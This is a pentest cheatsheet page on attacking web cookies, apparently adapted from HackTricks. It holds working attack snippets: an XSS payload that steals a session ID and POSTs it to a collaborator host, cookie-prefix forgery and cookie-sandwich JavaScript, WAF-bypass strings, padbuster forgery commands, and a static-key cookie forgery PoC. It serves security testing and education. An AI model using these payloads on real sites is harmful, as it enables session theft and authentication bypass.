daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (32443B)


      1 ---
      2 title: "Cookies Hacking"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/hacking-with-cookies/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/hacking-with-cookies/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Cookies Hacking
     14 
     15 ## Cookie Attributes
     16 
     17 Cookies come with several attributes that control their behavior in the user's browser. Here’s a rundown of these attributes in a more passive voice:
     18 
     19 ### Expires and Max-Age
     20 
     21 The expiry date of a cookie is determined by the `Expires` attribute. Conversely, the `Max-age` attribute defines the time in seconds until a cookie is deleted. **Opt for `Max-age` as it reflects more modern practices.**
     22 
     23 ### Domain
     24 
     25 The hosts to receive a cookie are specified by the `Domain` attribute. By default, this is set to the host that issued the cookie, not including its subdomains. However, when the `Domain` attribute is explicitly set, it encompasses subdomains as well. This makes the specification of the `Domain` attribute a less restrictive option, useful for scenarios where cookie sharing across subdomains is necessary. For instance, setting `Domain=mozilla.org` makes cookies accessible on its subdomains like `developer.mozilla.org`.
     26 
     27 ### Path
     28 
     29 A specific URL path that must be present in the requested URL for the `Cookie` header to be sent is indicated by the `Path` attribute. This attribute considers the `/` character as a directory separator, allowing for matches in subdirectories as well.
     30 
     31 ### Ordering Rules
     32 
     33 When two cookies bear the same name, the one chosen for sending is based on:
     34 
     35 - The cookie matching the longest path in the requested URL.
     36 - The most recently set cookie if the paths are identical.
     37 
     38 ### SameSite
     39 
     40 - The `SameSite` attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
     41   - **Strict**: Restricts the cookie from being sent on third-party requests.
     42   - **Lax**: Allows the cookie to be sent with GET requests initiated by third-party websites.
     43   - **None**: Permits the cookie to be sent from any third-party domain.
     44 
     45 Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios.
     46 
     47 | **Request Type** | **Example Code**                   | **Cookies Sent When** |
     48 | ---------------- | ---------------------------------- | --------------------- |
     49 | Link             | \<a href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/hacking-with-cookies/...">\</a>               | NotSet\*, Lax, None   |
     50 | Prerender        | \<link rel="prerender" href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web"/> | NotSet\*, Lax, None   |
     51 | Form GET         | \<form method="GET" action="...">  | NotSet\*, Lax, None   |
     52 | Form POST        | \<form method="POST" action="..."> | NotSet\*, None        |
     53 | iframe           | \<iframe src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/hacking-with-cookies/...">\</iframe>      | NotSet\*, None        |
     54 | AJAX             | $.get("...")                       | NotSet\*, None        |
     55 | Image            | \<img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/hacking-with-cookies/...">                   | NotSet\*, None        |
     56 
     57 Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.<sup>[[15]](#references)</sup>\
     58 A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
     59 
     60 **\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).<sup>[[16]](#references)</sup>\
     61 Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
     62 
     63 ## Cookies Flags
     64 
     65 ### HttpOnly
     66 
     67 The `HttpOnly` flag prevents **client-side JavaScript** from reading the cookie through APIs such as `document.cookie`.
     68 
     69 #### **Bypasses**
     70 
     71 - If a page **returns cookies in the response body** (for example, a **phpinfo()** page), XSS may fetch that page and steal the reflected cookie despite `HttpOnly`.<sup>[[6]](#references)</sup><sup>[[17]](#references)</sup>
     72 - This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**.<sup>[[5]](#references)</sup>
     73   - This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2.
     74 - Another way is the exploitation of zero/day vulnerabilities of the browsers.
     75 - It's possible to **overwrite HttpOnly cookies** by performing a Cookie Jar overflow attack:
     76 
     77 
     78 [Cookie Jar Overflow](/hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow)
     79 
     80 - It's possible to use [**Cookie Smuggling**](#cookie-smuggling) attack to exfiltrate these cookies
     81 - If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it.<sup>[[7]](#references)</sup> Example XSS payload pattern:
     82 
     83 ```javascript
     84 // Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
     85 const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
     86 fetch('/index.php?module=Touch&action=ws')
     87   .then(r => r.text())
     88   .then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
     89 ```
     90 
     91 ### Secure
     92 
     93 The request will **only** send the cookie in an HTTP request only if the request is transmitted over a secure channel (typically **HTTPS**).
     94 
     95 ## Cookies Prefixes
     96 
     97 Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS.
     98 
     99 For cookies prefixed with `__Host-`, several conditions must be met:
    100 
    101 - They must be set with the `secure` flag.
    102 - They must originate from a page secured by HTTPS.
    103 - They are forbidden from specifying a domain, preventing their transmission to subdomains.
    104 - The path for these cookies must be set to `/`.
    105 
    106 It is important to note that cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the `__Host-` prefix for all application cookies can be considered a good practice for enhancing security and isolation.
    107 
    108 ### Overwriting cookies
    109 
    110 One protection of `__Host-`-prefixed cookies is preventing subdomains from overwriting them, which mitigates [cookie tossing](/hacktricks/pentesting-web/hacking-with-cookies/cookie-tossing). The **Cookie Crumbles** research showed parser discrepancies that accepted lookalike cookie names—such as names with `=` at the beginning or at both ends—and let a backend treat them as the protected name.<sup>[[14]](#references)</sup><sup>[[18]](#references)</sup>
    111 
    112 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%286%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    113 
    114 Or in PHP it was possible to add **other characters at the beginning** of the cookie name that were going to be **replaced by underscore** characters, allowing to overwrite `__HOST-` cookies:
    115 
    116 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%287%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt="" width="373"><figcaption></figcaption></figure>
    117 
    118 
    119 #### Unicode whitespace cookie-name smuggling (prefix forgery)
    120 
    121 Abuse discrepancies between browser and server parsing by prepending a Unicode whitespace code point to the cookie name. The browser won’t consider the name to literally start with `__Host-`/`__Secure-`, so it allows setting from a subdomain. If the backend trims/normalizes leading Unicode whitespace on cookie keys, it will see the protected name and may overwrite the high-privilege cookie.<sup>[[8]](#references)</sup>
    122 
    123 - PoC from a subdomain that can set parent-domain cookies:
    124 
    125 ```javascript
    126 document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
    127 ```
    128 
    129 - Typical backend behavior that enables the issue:
    130   - Frameworks that trim/normalize cookie keys. In Django, Python’s `str.strip()` removes a wide range of Unicode whitespace code points, causing the name to normalize to `__Host-name`.
    131   - Commonly trimmed code points include: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).
    132   - Many frameworks resolve duplicate cookie names as “last wins”, so the attacker-controlled normalized cookie value overwrites the legitimate one.
    133 
    134 - Browser differences matter:
    135   - Safari blocks multibyte Unicode whitespace in cookie names (e.g., rejects U+2000) but still permits single-byte U+0085 and U+00A0, which many backends trim. Cross-test across browsers.
    136 
    137 - Impact: Enables overwriting of `__Host-`/`__Secure-` cookies from less-trusted contexts (subdomains), which can lead to XSS (if reflected), CSRF token override, and session fixation.
    138 
    139 - On-the-wire vs server view example (U+2000 present in name):
    140 
    141 ```text
    142 Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;
    143 ```
    144 
    145 Many backends split/parse and then trim, resulting in the normalized `__Host-name` taking the attacker’s value.
    146 
    147 #### Legacy `$Version=1` cookie splitting on Java backends (prefix bypass)
    148 
    149 Some Java stacks (e.g., Tomcat/Jetty-style) still enable legacy RFC 2109/2965 parsing when the `Cookie` header starts with `$Version=1`. This can cause the server to reinterpret a single cookie string as multiple logical cookies and accept a forged `__Host-` entry that was originally set from a subdomain or even over insecure origin.<sup>[[8]](#references)</sup>
    150 
    151 - PoC forcing legacy parsing:
    152 
    153 ```javascript
    154 document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
    155 ```
    156 
    157 - Why it works:
    158   - Client-side prefix checks apply during set, but server-side legacy parsing later splits and normalizes the header, bypassing the intent of `__Host-`/`__Secure-` prefix guarantees.
    159 
    160 - Where to try: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Combine with duplicate-name overwrite semantics.
    161 
    162 #### Duplicate-name last-wins overwrite primitive
    163 
    164 When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two `__Host-*` names, the attacker-controlled one will typically win.<sup>[[8]](#references)</sup>
    165 
    166 #### Detection and tooling
    167 
    168 Use Burp Suite to probe for these conditions:
    169 
    170 - Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed.
    171 - Send `$Version=1` first in the Cookie header and check if the backend performs legacy splitting/normalization.
    172 - Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name.
    173 - Burp Custom Action to automate this: [CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)<sup>[[9]](#references)</sup>
    174 
    175 > Tip: These techniques exploit RFC 6265’s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass.
    176 
    177 ## Cookies Attacks
    178 
    179 If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable.
    180 
    181 ### Decoding and Manipulating Cookies
    182 
    183 Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookie's content and impersonate other users by encoding their modified data back into the cookie.
    184 
    185 ### Session Hijacking
    186 
    187 This attack involves stealing a user's cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user.
    188 
    189 ### Session Fixation
    190 
    191 In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker.
    192 
    193 If you found XSS on a subdomain or control a subdomain, review the related cookie-tossing technique:
    194 
    195 
    196 [Cookie Tossing](/hacktricks/pentesting-web/hacking-with-cookies/cookie-tossing)
    197 
    198 ### Session Donation
    199 
    200 Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account.
    201 
    202 For session-donation variants involving a controlled or XSS-affected subdomain, see the cookie-tossing technique below:
    203 
    204 
    205 [Cookie Tossing](/hacktricks/pentesting-web/hacking-with-cookies/cookie-tossing)
    206 
    207 ### [JWT Cookies](/hacktricks/pentesting-web/hacking-jwt-json-web-tokens)
    208 
    209 Click on the previous link to access a page explaining possible flaws in JWT.
    210 
    211 JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
    212 
    213 ### Cross-Site Request Forgery (CSRF)
    214 
    215 This attack forces a logged-in user to execute unwanted actions on a web application in which they're currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site.
    216 
    217 ### Empty Cookies
    218 
    219 (Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:<sup>[[2]](#references)</sup>
    220 
    221 ```javascript
    222 document.cookie = "a=v1"
    223 document.cookie = "=test value;" // Setting an empty named cookie
    224 document.cookie = "b=v2"
    225 ```
    226 
    227 The result in the sent cookie header is `a=v1; test value; b=v2;`. Intriguingly, this allows for the manipulation of cookies if an empty name cookie is set, potentially controlling other cookies by setting the empty cookie to a specific value:
    228 
    229 ```javascript
    230 function setCookie(name, value) {
    231   document.cookie = `${name}=${value}`
    232 }
    233 
    234 setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
    235 ```
    236 
    237 This leads to the browser sending a cookie header interpreted by every web server as a cookie named `a` with a value `b`.
    238 
    239 #### Chrome Bug: Unicode Surrogate Codepoint Issue
    240 
    241 In Chrome, if a Unicode surrogate codepoint is part of a set cookie, `document.cookie` becomes corrupted, returning an empty string subsequently:
    242 
    243 ```javascript
    244 document.cookie = "\ud800=meep"
    245 ```
    246 
    247 This results in `document.cookie` outputting an empty string, indicating permanent corruption.<sup>[[2]](#references)</sup>
    248 
    249 #### Cookie Smuggling Due to Parsing Issues
    250 
    251 (Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs:<sup>[[2]](#references)</sup>
    252 
    253 ```text
    254 RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
    255 ```
    256 
    257 #### Cookie Injection Vulnerabilities
    258 
    259 (Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies:<sup>[[2]](#references)</sup>
    260 
    261 - Undertow expects a new cookie immediately after a quoted value without a semicolon.
    262 - Zope looks for a comma to start parsing the next cookie.
    263 - Python's cookie classes start parsing on a space character.
    264 
    265 This vulnerability is particularly dangerous in web applications relying on cookie-based CSRF protection, as it allows attackers to inject spoofed CSRF-token cookies, potentially bypassing security measures. The issue is exacerbated by Python's handling of duplicate cookie names, where the last occurrence overrides earlier ones. It also raises concerns for `__Secure-` and `__Host-` cookies in insecure contexts and could lead to authorization bypasses when cookies are passed to back-end servers susceptible to spoofing.
    266 
    267 ### Cookies $version
    268 
    269 #### WAF Bypass
    270 
    271 According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), it might be possible to use the cookie attribute **`$Version=1`** to make the backend use an old logic to parse the cookie due to the **RFC2109**. Moreover, other values just as **`$Domain`** and **`$Path`** can be used to modify the behaviour of the backend with the cookie.<sup>[[4]](#references)</sup>
    272 
    273 #### Cookie Sandwich Attack
    274 
    275 According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) it's possible to use the cookie sandwich technique to steal HttpOnly cookies.<sup>[[13]](#references)</sup> These are the requirements and steps:
    276 
    277 - Find a place were an apparent useless **cookie is refected in the response**
    278 - **Create a cookie called `$Version`** with value `1` (ou can do this in a XSS attack from JS) with a more specific path so it gets the initial possition (some frameworks like python don’t need this step)
    279 - **Create the cookie that is reflected** with a value that leaves an **open double quotes** and with a specific path so it’s positioned in the cookie db after the previous one (`$Version`)
    280 - Then, the legit cookie will go next in the order
    281 - **Create a dummy cookie that closes the double quotse** inside its value
    282 
    283 This way the victim cookie gets trapped inside the new cookie version 1 and will get reflected whenever it’s reflected.
    284 e.g. from the post:
    285 
    286 ```javascript
    287 document.cookie = `$Version=1;`;
    288 document.cookie = `param1="start`;
    289 // any cookies inside the sandwich will be placed into param1 value server-side
    290 document.cookie = `param2=end";`;
    291 ```
    292 
    293 ### WAF bypasses
    294 
    295 #### Cookies $version
    296 
    297 Check the previous section.
    298 
    299 #### Bypassing value analysis with quoted-string encoding
    300 
    301 This parsing indicate to unescape escaped values inside the cookies, so "\a" becomes "a". This can be useful to bypass WAFS as:
    302 
    303 - `eval('test') => forbidden`
    304 - `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
    305 
    306 #### Bypassing cookie-name blocklists
    307 
    308 In the RFC2109 it's indicated that a **comma can be used as a separator between cookie values**. And also it's possible to add **spaces and tabs before an after the equal sign**. Therefore a cookie like `$Version=1; foo=bar, abc = qux` doesn't generate the cookie `"foo":"bar, admin = qux"` but the cookies `foo":"bar"` and `"admin":"qux"`. Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign.
    309 
    310 #### Bypassing value analysis with cookie splitting
    311 
    312 Finally different backdoors would join in a string different cookies passed in different cookie headers like in:
    313 
    314 ```text
    315 GET / HTTP/1.1
    316 Host: example.com
    317 Cookie: param1=value1;
    318 Cookie: param2=value2;
    319 ```
    320 
    321 Which could allow to bypass a WAF like in this example:
    322 
    323 ```text
    324 Cookie: name=eval('test//
    325 Cookie: comment')
    326 
    327 Resulting cookie: name=eval('test//, comment') => allowed
    328 ```
    329 
    330 ### Extra Vulnerable Cookies Checks
    331 
    332 #### **Basic checks**
    333 
    334 - The **cookie** is the **same** every time you **login**.
    335 - Log out and try to use the same cookie.
    336 - Try to log in with 2 devices (or browsers) to the same account using the same cookie.
    337 - Check if the cookie has any information in it and try to modify it
    338 - Try to create several accounts with almost the same username and check if you can see similarities.
    339 - Check the "**remember me**" option if it exists to see how it works. If it exists and could be vulnerable, always use the cookie of **remember me** without any other cookie.
    340 - Check if the previous cookie works even after you change the password.
    341 
    342 #### **Advanced cookies attacks**
    343 
    344 If the cookie remains the same (or almost) when you log in, this probably means that the cookie is related to some field of your account (probably the username). Then you can:
    345 
    346 - Try to create a lot of **accounts** with usernames very **similar** and try to **guess** how the algorithm is working.
    347 - Try to **bruteforce the username**. If the cookie saves only as an authentication method for your username, then you can create an account with username "**Bmin**" and **bruteforce** every single **bit** of your cookie because one of the cookies that you will try will the one belonging to "**admin**".
    348 - Try **Padding** **Oracle** (you can decrypt the content of the cookie). Use **padbuster**.
    349 
    350 **Padding Oracle - Padbuster examples**
    351 
    352 ```bash
    353 padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
    354 # When cookies and regular Base64
    355 padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
    356 
    357 # If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
    358 padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
    359 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
    360 ```
    361 
    362 Padbuster will make several attempts and will ask you which condition is the error condition (the one that is not valid).
    363 
    364 Then it will start decrypting the cookie (it may take several minutes)
    365 
    366 If the attack has been successfully performed, then you could try to encrypt a string of your choice. For example, if you would want to **encrypt** **user=administrator**
    367 
    368 ```text
    369 padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
    370 ```
    371 
    372 This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside.
    373 
    374 **CBC-MAC**
    375 
    376 Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable.
    377 
    378 **The attack**
    379 
    380 1. Get the signature of username **administ** = **t**
    381 2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'**
    382 3. Set in the cookie the value **administrator+t'** (**t'** will be a valid signature of **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
    383 
    384 **ECB**
    385 
    386 If the cookie is encrypted using ECB it could be vulnerable.\
    387 When you log in the cookie that you receive has to be always the same.
    388 
    389 **How to detect and attack:**
    390 
    391 Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
    392 
    393 Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
    394 
    395 There should be a repeated pattern at the cipher's block size. After identifying the ciphertext blocks for controlled `a` characters, test whether removing or rearranging whole blocks can produce a cookie whose decoded username becomes `admin`.<sup>[[3]](#references)</sup>
    396 
    397 ### Static-key cookie forgery (symmetric encryption of predictable IDs)
    398 
    399 Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.<sup>[[1]](#references)</sup>
    400 
    401 How to test/forge
    402 - Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
    403 - Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
    404 - Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
    405 - Set the forged value directly as the cookie and browse; no credentials are needed.
    406 
    407 <details>
    408 <summary>Minimal Java PoC (IDEA + hex) used in the wild</summary>
    409 
    410 ```java
    411 import cryptix.provider.cipher.IDEA;
    412 import cryptix.provider.key.IDEAKeyGenerator;
    413 import cryptix.util.core.Hex;
    414 import java.security.Key;
    415 import java.security.KeyException;
    416 import java.io.UnsupportedEncodingException;
    417 
    418 public class App {
    419     private String ideaKey = "1234567890123456"; // example static key
    420 
    421     public String encode(char[] plainArray) { return encode(new String(plainArray)); }
    422 
    423     public String encode(String plain) {
    424         IDEAKeyGenerator keygen = new IDEAKeyGenerator();
    425         IDEA encrypt = new IDEA();
    426         Key key;
    427         try {
    428             key = keygen.generateKey(this.ideaKey.getBytes());
    429             encrypt.initEncrypt(key);
    430         } catch (KeyException e) { return null; }
    431         if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
    432             for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
    433                 plain = plain + " "; // space padding
    434             }
    435         }
    436         byte[] encrypted = encrypt.update(plain.getBytes());
    437         return Hex.toString(encrypted); // cookie expects hex
    438     }
    439 
    440     public String decode(String chiffre) {
    441         IDEAKeyGenerator keygen = new IDEAKeyGenerator();
    442         IDEA decrypt = new IDEA();
    443         Key key;
    444         try {
    445             key = keygen.generateKey(this.ideaKey.getBytes());
    446             decrypt.initDecrypt(key);
    447         } catch (KeyException e) { return null; }
    448         byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
    449         try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
    450     }
    451 
    452     public void setKey(String key) { this.ideaKey = key; }
    453 }
    454 ```
    455 
    456 </details>
    457 
    458 Mitigation: do not mint authentication cookies by encrypting predictable identifiers with a reusable key. Prefer server-side sessions or authenticated encryption/signatures with anti-replay properties.
    459 
    460 ### Public-key cookie forgery when decryption is treated as authentication
    461 
    462 Some products misuse asymmetric crypto for bearer cookies: they **encrypt** cookie contents with a certificate-related keypair and later treat **successful private-key decryption** as proof the cookie is authentic. If the plaintext is not protected with a **signature, MAC, or AEAD tag**, anyone who knows the **public key** can forge arbitrary cookies offline.
    463 
    464 Typical exploitation pattern:
    465 
    466 - Identify which cookie or POST parameter carries the auth blob.
    467 - Check whether the server exposes the matching public key via **TLS certificate reuse**, **JWKS**, a downloadable certificate, or any other public trust store.
    468 - Recreate the expected plaintext structure (user, role/domain, host ID, client OS/IP, timestamp, lifetime, etc.).
    469 - Encrypt it with each candidate **public key**, encode it as expected, and replay it. If the server only checks that decryption succeeds and the fields parse, authentication is bypassed.
    470 
    471 **GlobalProtect authentication override** is a practical example of this anti-pattern. When **authentication override cookies** are enabled, the portal/gateway accepts `portal-userauthcookie` or `portal-prelogonuserauthcookie` in a POST to `/ssl-vpn/login.esp`. If the certificate used for cookie encryption/decryption is also reused by the externally exposed HTTPS service, an unauthenticated attacker can retrieve the certificate chain over TLS, forge a cookie for any chosen identity, and submit it directly to the portal/gateway.<sup>[[10]](#references)</sup><sup>[[11]](#references)</sup>
    472 
    473 Quick testing ideas:<sup>[[12]](#references)</sup>
    474 
    475 ```bash
    476 openssl s_client -connect <target>:443 -showcerts </dev/null
    477 python3 forge_cookie.py --target <target> --context both --user admin
    478 ```
    479 
    480 ## References
    481 
    482 - [1] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
    483 - [2] [Cookie bugs - original research on empty/malformed cookie parsing bugs](https://blog.ankursundara.com/cookie-bugs/)
    484 - [3] [LinkedIn post](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
    485 - [4] [Bypassing WAFs with the phantom $Version cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
    486 - [5] [seclists webappsec - Cross-Site Tracing (TRACE method cookie disclosure)](https://seclists.org/webappsec/2006/q2/181)
    487 - [6] [Michal Spacek - Stealing session IDs with phpinfo() and how to stop it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
    488 - [7] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
    489 - [8] [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
    490 - [9] [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)
    491 - [10] [Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability (CVE-2026-0257)](https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257)
    492 - [11] [Palo Alto Networks advisory: CVE-2026-0257 PAN-OS: GlobalProtect Authentication Bypass Vulnerabilities](https://security.paloaltonetworks.com/CVE-2026-0257)
    493 - [12] [Rapid7 PoC for CVE-2026-0257](https://github.com/sfewer-r7/CVE-2026-0257)
    494 - [13] [PortSwigger Research - Stealing HttpOnly cookies with the Cookie Sandwich technique](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique)
    495 - [14] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (USENIX Security '23 paper)](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)
    496 - [15] [Same-Site Cookie Attribute – Prevent Cross-Site Request Forgery](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)
    497 - [16] [Promiscuous cookies and their impending death via the SameSite policy](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)
    498 - [17] [Bypass HttpOnly via PHP info page](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)
    499 - [18] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (talk)](https://www.youtube.com/watch?v=F_wAzF4a7Xg)